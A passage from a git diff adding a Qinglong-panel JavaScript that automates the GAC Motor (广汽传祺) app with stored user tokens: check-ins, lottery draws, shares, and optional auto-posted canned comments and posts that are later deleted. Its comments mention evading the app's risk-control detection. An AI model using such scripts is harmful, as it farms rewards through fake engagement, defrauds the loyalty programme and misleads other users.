? t : s; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null } setval(t, s) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, s = () => { }) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }) : this.isQuanX() ? $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, s) => { try { const e = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(e, null), (s.cookieJar = this.ckjar) } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h, } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t))) } post(t, s = () => { }) { if ((t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), delete t.headers["Content-Length"], this.isSurge() || this.isLoon())) $httpClient.post(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }); else if (this.isQuanX()) (t.method = "POST"), $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: e, ...i } = t; this.got.post(e, i).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) } } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))); let logs = ['', '==============📣系统通知📣==============']; logs.push(t); e ? logs.push(e) : ''; i ? logs.push(i) : ''; console.log(logs.join('\n')); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) }
diff --git a/backup/gacmotor.js b/backup/gacmotor.js
new file mode 100644
index 00000000..ec4fe7f4
--- /dev/null
+++ b/backup/gacmotor.js
@@ -0,0 +1,1405 @@
+/**
+ * cron 56 8 * * * gacmotor.js
+ * Show:广汽传祺 评论 分享(转发) 签到 发表文章
+ * @author https://github.com/smallfawn/QLScriptPublic
+ * @tips 本脚本适用于广汽传祺5.0.0以上的版本
+ * @update 2024/1/17 新增 广汽传祺年度报告抽奖
+ * 文件内基本格式 [{"AT":"","RT":""},{"AT":"","RT":""}] 仓库( https://ghproxy.smallfawn.top/https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/GacmotorCookies.json )里面有基本模板 使用前必须填写COOKIE
+ * 提供三种获取变量COOKIE方式
+ * 1.手动抓https://next.gacmotor.com/app
+ * (refreshTokenn和accessToken 在登录时候抓包 https://next.gacmotor.com/app/app-api/sms/sendSmsCodeV2 响应里面) APP有效期都是7天 需要填写refreshToken来刷新COOKIE有效时间
+ * 2.通过WoolWeb获取 2w.onecc.cc 里面有APP接口和H5接口 APP接口带刷新CK H5接口不会
+ * 3.通过WoolWeb扫码获取 和 APP接口等同
+ * 变量示例 AT-11111-ASASASASASASASASASAS填入AT里面 RT-11111-BSBSBSBSBSBSBS填入RT里面
+ * 开启发贴 gacmotorPost=false 默认关闭发表文章功能 true为开启(此功能存在风控检测,谨慎开启) 目前没适配 小心扣豆子
+ * 开启评论 gacmotorComment=false 默认关闭评论功能 true为开启(此功能存在风控检测,谨慎开启) 目前没适配 小心扣豆子
+ * 每日抽奖 gacmotorLuckyDram=1 抽奖次数[1-10] 不写默认抽奖一次(首次免费) 以后每次花费2G豆抽奖 每天上限10次
+ *
+ */
+let GacmotorCookies = './GacmotorCookies.json';//指定文件目录
+const $ = new Env("广汽传祺");
+const notify = $.isNode() ? require('../sendNotify') : '';
+//const { updateEnv11, getEnvs, updateEnv } = require("./ql")
+const appVersion = "5.1.22"
+//let ckName = "gacmotorToken";
+//let envSplitor = ["@", "\n"]; //多账号分隔符
+let strSplitor = "#"; //多变量分隔符
+let userIdx = 0;
+let userList = [];
+const fs = require('fs');
+let TempAccount = [];
+
+
+function ReadFiles(filename) {
+ let Fileexists = fs.existsSync(filename);//检测文件是否存在
+ if (Fileexists) {//如果存在
+ console.log("检测到广汽传祺GacmotorCookies.json,载入...");
+ TempAccount = fs.readFileSync(filename, 'utf-8');
+ if (TempAccount) {
+ TempAccount = TempAccount.toString();
+ TempAccount = JSON.parse(TempAccount);
+ }
+ }else{
+ console.log("未检测到广汽传祺GacmotorCookies.json...");
+ }
+}
+async function writeFile(fileName, data) {
+ return new Promise((resolve, reject) => {
+ fs.writeFile(fileName, data, 'utf8', (err) => {
+ if (err) {
+ reject(err); // 如果写入操作出错,将错误传递给调用者
+ return;
+ }
+ resolve(); // 写入操作成功,没有错误
+ });
+ });
+}
+class UserInfo {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.refreshToken = str.split(strSplitor)[1]; //单账号多变量分隔符
+ this.ckStatus = true;
+ this.deviceCode = "";
+ this.registrationID = "";
+ //this.mallToken = str.split(strSplitor)[2];
+ this.signInStatus = false//默认签到状态false
+ this.userIdStr = ""
+ this.name = ""
+ this.GDouNum = ""
+ this.postList = []//自己
+ this.applatestlist = []//最新帖子列表
+ this.titleList = []//
+ this.contentList = []//
+ this.commentList = []
+ this.BeiJingTime = ""
+ this.powerList = []
+ this.mobile = []
+ this.accessToken = []
+ this.powerId = ""//助力ID
+ this.questionId = ""
+ this.userAnswerList = []
+ this.answerIdList = []
+ this.userAnswer = ""
+ this.questionTaskId = ''
+ this.luckyDrawNum = 0 //抽奖次数
+ this.postNotFinishedNum = 0//发帖未完成次数
+ this.commentNotFinishedNum = 0//评论未完成次数
+ this.sharenNotFinishedNum = 0//转发未完成次数
+ this.refreshStatus = false
+ this.commenttext = ""
+ this.signInCaptchaId = null
+ this.signInRequestId = null
+ this.lotteryRequestId = null
+ this.shareCaptchaId = null
+ this.shareRequestId = null
+
+ }
+ async main() {
+ $.log(`==============开始第${this.index}个账号==============`)
+ await this._userInfo();
+
+ if (this.ckStatus == true) {
+ await this.mainTask()
+ } else {
+ if (this.refreshToken !== undefined) {
+ $.log(`尝试刷新TOKEN`)
+ await this._refreshToken()
+ if (this.refreshStatus) {
+ await this._userInfo();
+ await this.mainTask()
+ }
+ }
+ }
+
+
+
+ }
+ async mainTask() {
+ if (process.env["gacmotorLuckyDram"] == undefined) {
+ await this._luckyDrawNum()//获取抽奖次数
+ if (this.luckyDrawNum > 1) {
+ await this._luckyDraw()
+ }
+ } else if (process.env["gacmotorLuckyDram"] && Number(process.env["gacmotorLuckyDram"]) !== NaN) {
+ if (process.env["gacmotorLuckyDram"] !== 0) {
+ if (Number(process.env["gacmotorLuckyDram"]) > 10) {
+ console.log(`每天最高抽10次哦`);
+ await this._luckyDrawNum()//获取抽奖次数
+ if (this.luckyDrawNum < 10) {
+ for (let i = 0; i < this.luckyDrawNum; i++) {
+ $.wait(1000)
+ await this._luckyDraw()
+ $.wait(2000)
+ }
+ } else if (this.luckyDrawNum = 10) {
+ for (let index = 0; index < 10; index++) {
+ $.wait(1000)
+ await this._luckyDraw()
+ $.wait(2000)
+ }
+ }
+
+ } else {
+ await this._luckyDrawNum()//获取抽奖次数
+ if (this.luckyDrawNum < Number(process.env["gacmotorLuckyDram"])) {
+ for (let i = 0; i < this.luckyDrawNum; i++) {
+ $.wait(1000)
+ await this._luckyDraw()
+ $.wait(2000)
+ }
+ } else if (this.luckyDrawNum > Number(process.env["gacmotorLuckyDram"])) {
+ for (let index = 0; index < Number(process.env["gacmotorLuckyDram"]); index++) {
+ $.wait(1000)
+ await this._luckyDraw()
+ $.wait(2000)
+ }
+ } else if (this.luckyDrawNum == Number(process.env["gacmotorLuckyDram"])) {
+ for (let index = 0; index < Number(process.env["gacmotorLuckyDram"]); index++) {
+ $.wait(1000)
+ await this._luckyDraw()
+ $.wait(2000)
+ }
+ }
+
+ }
+ } else {
+
+
+ }
+
+
+ }
+ await this._getGDou()
+ await this._signInStatus()
+ await this._signInCounts()
+ if (this.signInStatus == false) {
+ await this._signIn()
+ }
+ await this._taskList()
+ /*if (this.postNotFinishedNum !== 0 && this.postNotFinishedNum >= 1 || this.commentNotFinishedNum !== 0 && this.commentNotFinishedNum >= 1) {
+ if (process.env["gacmotorPost"] == "true" || process.env["gacmotorComment"] == "true") {
+ console.log(`正在远程获取15条随机评论~请等待15-20秒`)
+ await this._getText()
+ }
+ }*/
+
+ if (process.env["gacmotorPost"] == "true") {
+
+ if (this.postNotFinishedNum !== 0 && this.postNotFinishedNum >= 1) {
+ console.log(`正在远程获取15条随机一言~请等待10-15秒`)
+ await this._getText()
+ await this._post(this.titleList[0], this.contentList[0])//可能需要图片
+ console.log(`等待10s`)
+ await $.wait(10000)
+ await this._postlist()
+ for (let postId of this.postList) {
+ await this._delete(postId)
+ }
+ }
+
+ }
+ await this._applatestlist()
+ if (this.sharenNotFinishedNum !== 0 && this.sharenNotFinishedNum >= 1) {
+ for (let postId of this.applatestlist) {
+ await this._forward(postId)
+ }
+ }
+
+ if (process.env["gacmotorComment"] == "true") {
+ if (this.commentNotFinishedNum !== 0 && this.commentNotFinishedNum >= 1) {
+ this._getText1()
+ for (let postId of this.applatestlist) {
+ await this._add(postId, this.commenttext)
+ }
+ }
+
+ }
+
+ if (process.env["gacmotorComment"] == "true") {
+ if (this.commentNotFinishedNum !== 0 && this.commentNotFinishedNum >= 1) {
+ console.log(`等待10s`)
+ await $.wait(10000)
+ console.log(`检测评论列表`);
+ await this._commentlist()
+ if (this.commentList.length > 0) {
+ for (let commentId of this.commentList) {
+ await this._commentdelete(commentId)
+ }
+ }
+ }
+
+ }
+
+ //await this._activity_lotter_common({ "activityId": "531", "channel": "carapp_channel" })
+ //await this._getChinaTime()
+ /*console.log(`11/26截止 Do - 广州车展活动 奖品活动结束后14日内发放`);
+ if (this.BeiJingTime < 1701014400000) {
+ //{"activityId":"467","channel":"carapp_channel"}
+ // await this._activity_lotter_common({ "activityId": "467", "channel": "carapp_channel" })
+ }*/
+ /*每天助力 gacmotorPower="" (抓这个需要手动做一次任务,我的-超级合伙人-每日任务-分享,微信自己点击自己分享的文章一次)
+* 微信抓gmp.spgacmotorsc.com/partner/api-content/base/content/trafficStatistics?
+* 后面的openId的值例如:oQzIW0jx-DbassAsaQgpGsasqXqCWI*/
+ /*if (process.env["gacmotorPower"]) {
+ console.log(`已设置开启每日助力`);
+ await this._power_auth()//登录活动 获取accessToken
+ await this._power_list()//获取任务列表
+ if (this.powerList.length > 0) {
+ for (let taskId of this.powerList) {
+ await this._join_power(taskId)//加入任务
+ await this._get_power_id(taskId)//获取助力的utid
+ await $.wait(2000)
+ await this._share_power(taskId)//分享
+ await $.wait(2000)
+ if (this.powerId !== "") {
+ await this._power(this.powerId)
+ }
+ }
+ }
+ }*/
+ /*if (this.mallToken == undefined) {
+ this.mallToken = `DS-${this.ck}`
+ console.log(`执行答题&抽奖 并且尝试获取mallToken(如果不是WoolWeb获取的变量 可能执行失败)`);
+ //获取答题活动列表
+ await this._question_list({ "activityId": 464 })
+ if (this.questionTaskId !== "") {
+ //获取题目
+ await this._question_info({ "activityId": 464, "taskId": this.questionTaskId, "userSubmit": false })
+ //答题
+ await this._submit_answer({ "activityId": 464, "taskId": this.questionTaskId, "userSubmitAnswerVoList": [{ "questionId": this.questionId, "userAnswer": this.userAnswer, "answerIdList": this.answerIdList }] })
+ //抽奖
+ let lotterId = "465"
+ if (this.questionTaskId == 8) {
+ lotterId = "484"
+ } else if (this.questionTaskId == 9) {
+ lotterId = "498"
+ } else if (this.questionTaskId == 10) {
+ lotterId = "511"
+ } else if (this.questionTaskId == 11) {
+ lotterId = "522"
+ } else if (this.questionTaskId == 12) {
+ lotterId = "523"
+ }
+ await this._activity_lotter_mall({ "activityId": lotterId, "channel": "wx_channel" })
+ //console.log(`目测30天内自动到账`)
+ console.log(`请微信打开链接截查看中奖规则 https://mall.gacmotor.com/act/turntable?id=${lotterId}`);
+ console.log(`加客服的地址 https://mall.gacmotor.com/act/answer-activity?id=464`);
+ } else {
+ console.log(`本周答题完成或未到活动时间`);
+ }
+ }*/
+ }
+ async _refreshToken() {
+ try {
+ let options = {
+ fn: "刷新token",
+ method: "post",
+ url: `https://next.gacmotor.com/app/app-api/login/refreshAt`,
+ headers: this._getHeaders("post"),
+ body: JSON.stringify({ refreshToken: this.refreshToken })
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ $.log(`重置accessToken [${result.data.accessToken}] 重置refeshToken [${result.data.refreshToken}]`)
+ //调用青龙API
+ //change:2023/12/27 不再调用青龙API 选择修改文件方式
+ //删除原变量
+ //let originalValue = this.cookies
+ //let newValue = [result.data.accessToken, result.data.refreshToken]
+ TempAccount.forEach((TempAccount) => {
+ if (TempAccount.AT === this.ck) {
+ TempAccount.AT = result.data.accessToken;
+ TempAccount.RT = result.data.refreshToken;
+ }
+ });
+ await writeFile(GacmotorCookies, JSON.stringify(TempAccount, null, 2))
+ this.ck = result.data.accessToken
+ this.refreshStatus = true
+
+ //console.log(arr);
+ /*if (this.mallToken !== undefined) {
+ newValue = `${result.data.accessToken}${strSplitor}${result.data.refreshToken}${strSplitor}${this.mallToken}`
+ } else {
+ newValue = `${result.data.accessToken}${strSplitor}${result.data.refreshToken}`
+ }*/
+ /*let env = await getEnvs(ckName)
+ if (env[0].value.indexOf(originalValue) !== -1) {
+ let newEnv = env[0].value.replaceAll(originalValue, newValue)
+ if (process.env["QLVersion"] == "old") {
+ await updateEnv(newEnv, env[0].id, null, ckName)
+ } else {
+ await updateEnv11(newEnv, env[0].id, null, ckName)
+ }
+ this.refreshStatus = true
+ }*/
+
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ this.ckStatus = false
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _getChinaTime() {
+ try {
+ let options = {
+ fn: "获取北京时间",
+ method: "get",
+ url: `http://api.m.taobao.com/rest/api3.do?api=mtop.common.getTimestamp`,
+ }
+ let { body: result } = await httpRequest(options)
+ result = JSON.parse(result)
+ this.BeiJingTime = result.data.t
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _activity_lotter_common(body) {
+ try {
+ let options = {
+ fn: "活动抽奖",
+ method: "post",
+ url: `https://next.gacmotor.com/mall/activity-app/customer/activityPrize/lotter?notip=true`,
+ headers: {
+ "Host": "next.gacmotor.com",
+ "Connection": "keep-alive",
+ "Accept": "application/json, text/plain, */*",
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 WindVane/8.5.0 StatusBarHeight/31 channel/GACClient",
+ "token": this.ck,
+ "Content-Type": "application/json;charset=UTF-8",
+ "Origin": "https://next.gacmotor.com",
+ "X-Requested-With": "com.cloudy.component",
+ "Sec-Fetch-Site": "same-origin",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Dest": "empty",
+ "Referer": "https://next.gacmotor.com/mall/act/turntable?id=467",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ },
+ body: JSON.stringify(body)
+ }
+ //console.log(options)
+ let { body: result } = await httpRequest(options)
+ result = JSON.parse(result)
+ if (result.code == "0000") {
+ $.log(`抽奖成功获得[${result.data.name}]`)
+ } else {
+ console.log(`抽奖失败`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _activity_lotter_mall(body) {
+ try {
+ let options = {
+ fn: "活动抽奖(mall)",
+ method: "post",
+ url: `https://mall.gacmotor.com/activity-app/customer/activityPrize/lotter?notip=true`,
+ headers: this._getHeaders_mall("post"),
+ body: JSON.stringify(body)
+ }
+ //console.log(options)
+ let { body: result } = await httpRequest(options)
+ result = JSON.parse(result)
+ if (result.code == "0000") {
+ $.log(`答题活动抽奖成功 获得[${result.data.name}]`)
+ } else {
+ console.log(`抽奖失败`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _question_list(body) {
+ try {
+ let options = {
+ fn: "获取答题活动列表",
+ method: "post",
+ url: `https://mall.gacmotor.com/e-small-bff/fronted/activityAnswer/queryAnswerActivityInfo`,
+ headers: this._getHeaders_mall("post"),
+ body: JSON.stringify(body)
+ }
+ //console.log(options)
+ let { body: result } = await httpRequest(options)
+ result = JSON.parse(result)
+ if (result.code == "0000") {
+ for (let id of result.data.taskInfoList) {
+ if (id.endTime > this.BeiJingTime && this.BeiJingTime > id.startTime && id.userSubmit == false) {
+ this.questionTaskId = id.id
+ }
+ }
+ } else {
+ console.log(`获取问题和选项失败`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+
+ async _question_info(body) {
+ try {
+ let options = {
+ fn: "获取问题和选项",
+ method: "post",
+ url: `https://mall.gacmotor.com/e-small-bff/fronted/activityAnswer/queryQuestionInfo`,
+ headers: this._getHeaders_mall("post"),
+ body: JSON.stringify(body)
+ }
+ //console.log(options)
+ let { body: result } = await httpRequest(options)
+ result = JSON.parse(result)
+ if (result.code == "0000") {
+ this.questionId = result.data.questionInfoList[0].id
+ this.answerIdList = []
+ for (let answer of result.data.questionInfoList[0].answerInfoList) {
+ this.answerIdList.push(answer.id)
+ this.userAnswerList.push(answer.answerDesc)
+ }
+ this.userAnswer = this.userAnswerList.join(';');
+ } else {
+ console.log(`获取问题和选项失败`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+
+ async _submit_answer(body) {
+ try {
+ let options = {
+ fn: "回答问题",
+ method: "post",
+ url: `https://mall.gacmotor.com/e-small-bff/fronted/activityAnswer/submitAnswer`,
+ headers: this._getHeaders_mall("post"),
+ body: JSON.stringify(body)
+ }
+ //console.log(options)
+ let { body: result } = await httpRequest(options)
+ result = JSON.parse(result)
+ if (result.code == "0000") {
+ console.log(`回答问题` + result.success);
+ } else {
+ console.log(`回答问题失败`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _getText() {
+ try {
+ let textList = []
+ let options = {
+ fn: "获取随机一言",
+ method: "get",
+ url: `https://v1.hitokoto.cn/?c=e`,
+ }
+ for (let i = 0; i < 10; i++) {
+ await $.wait(1000)
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.hitokoto["length"] > 10) {
+ textList.push(result.hitokoto)
+ }
+ this.titleList = [textList[0]]
+ this.contentList = [textList[1]]
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ _getText1() {
+ try {
+ let textList = [
+ `好看好用,我也想拥有同款!`,
+ `好看好开猴赛雷,广汽传祺YYDS!`,
+ `打破0回复,帮你顶个楼!`,
+ `人间自有真情在,给个点赞最实在!`,
+ `实力顶帖,为君打call!`]
+
+ this.commenttext = [textList[Math.floor(Math.random() * 5)]]
+
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _join_power(taskId) {
+ try {
+ let options = {
+ fn: "加入助力",
+ method: "post",
+ url: `https://gmp.spgacmotorsc.com/partner/api-content/app/tasks/joinTask`,
+ headers: this._getHeaders_gmp("post"),
+ body: `taskId=${taskId}&companyCode=CHUANQI&phone=${this.mobile}`
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.errorCode == "0") {
+ console.log(`添加助力任务成功`);
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _power_list() {
+ try {
+ let options = {
+ fn: "助力任务列表获取",
+ method: "get",
+ url: `https://gmp.spgacmotorsc.com/partner/api-content/app/tasks/list?page=0&size=10&channelType=WEIXIN&taskType=SHARE&companyCode=CHUANQI&phone=${this.mobile}`,
+ headers: this._getHeaders_gmp("get"),
+ }
+ //console.log(options);
+ let { body: result } = await httpRequest(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.errorCode == "0") {
+ for (let i of result.body.rows) {
+ if (i.isFinish == 1) {
+ this.powerList.push(i.taskId)
+ }
+ }
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(`请先手动完成一次任务`);
+ //console.log(e);
+ }
+ }
+
+ async _power_auth() {
+ try {
+ let headers = this._getHeaders("get")
+ headers["Host"] = `gmp.spgacmotorsc.com`
+ let options = {
+ fn: "助力任务登录",
+ method: "get",
+ url: `https://gmp.spgacmotorsc.com/partner/api-user/app/auth/judge?phone=${this.mobile}&companyCode=CHUANQI`,
+ headers: headers,
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.body.isAuth == true) {
+ this.accessToken = result.body.user.accessToken;
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(`请先手动完成一次任务`);
+ //console.log(e);
+ }
+ }
+
+ async _get_power_id(taskId) {
+ try {
+ let options = {
+ fn: "助力任务ID获取",
+ method: "get",
+ url: `https://gmp.spgacmotorsc.com/partner/api-content/app/tasks/detail?taskId=${taskId}&companyCode=CHUANQI&phone=${this.mobile}`,
+ headers: this._getHeaders_gmp("get"),
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.errorCode == "0") {
+ let shareUrl = result.body.shareUrl
+ var regex = /utId=([^&]+)/;
+ var match = shareUrl.match(regex);
+ if (match) {
+ this.powerId = match[1];
+ console.log(`助力ID获取成功${this.powerId}`);
+ } else {
+ console.log("未找到utId的值");
+ }
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async _share_power(taskId) {
+ try {
+ let options = {
+ fn: "助力任务分享",
+ method: "post",
+ url: `https://gmp.spgacmotorsc.com/partner/api-content/app/tasks/backFillH5`,
+ headers: this._getHeaders_gmp("post"),
+ body: `taskId=${taskId}&companyCode=CHUANQI&phone=${this.mobile}`
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.errorCode == "0") {
+ console.log(result.body);
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _power() {
+ try {
+ let options = {
+ fn: "助力",
+ method: "get",
+ url: `https://gmp.spgacmotorsc.com/partner/api-content/base/content/trafficStatistics?id=11131879&openId=` + process.env["gacmotorPower"],
+ headers: {
+ "Host": "gmp.spgacmotorsc.com",
+ "Connection": "keep-alive",
+ "Accept": "application/json, text/plain, */*",
+ "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/1110017 MMWEBSDK/20230405 MMWEBID/2585 MicroMessenger/8.0.35.2360(0x2800235D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64",
+ "X-Requested-With": "com.tencent.mm",
+ "Sec-Fetch-Site": "same-origin",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Dest": "empty",
+ "Referer": "https://gmp.spgacmotorsc.com/h5/partner/",
+ "Accept-Encoding": "gzip, deflate",
+ "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
+ },
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.errorCode == "0") {
+ $.log(`助力执行成功 可能助力失败 正常情况`)
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _userInfo() {
+ try {
+ let options = {
+ fn: "信息查询",
+ method: "post",
+ url: `https://next.gacmotor.com/app/app-api/user/getLoginUser`,
+ headers: this._getHeaders("post"),
+ body: ``
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ this.mobile = Buffer.from(result.data.ms, 'base64').toString('utf-8');
+ Buffer.from(result.data.ms, 'base64').toString('utf-8');
+ $.log(`[${result.data.mobile}][${result.data.nickname}][${result.data.userIdStr}]`)
+ this.name = `昵称 [${result.data.nickname}]`
+ this.userIdStr = result.data.userIdStr;
+ this.ckStatus = true
+ } else {
+ console.log(`❌${options.fn}状态[${result.resultMsg}]`);
+ this.ckStatus = false
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async _taskList() {
+ try {
+ let options = {
+ fn: "任务情况查询",
+ method: "get",
+ url: `https://next.gacmotor.com/app/community-api/user/mission/getUserMissionList?place=1`,
+ headers: this._getHeaders("get"),
+ }
+ let { body: result } = await httpRequest(options);
+ //console.log(options);
+ result = JSON.parse(result);
+ //console.log(result);
+ if (result.resultCode == "0") {
+ //result.data[0].total - result.data[0].finishedNum//签到
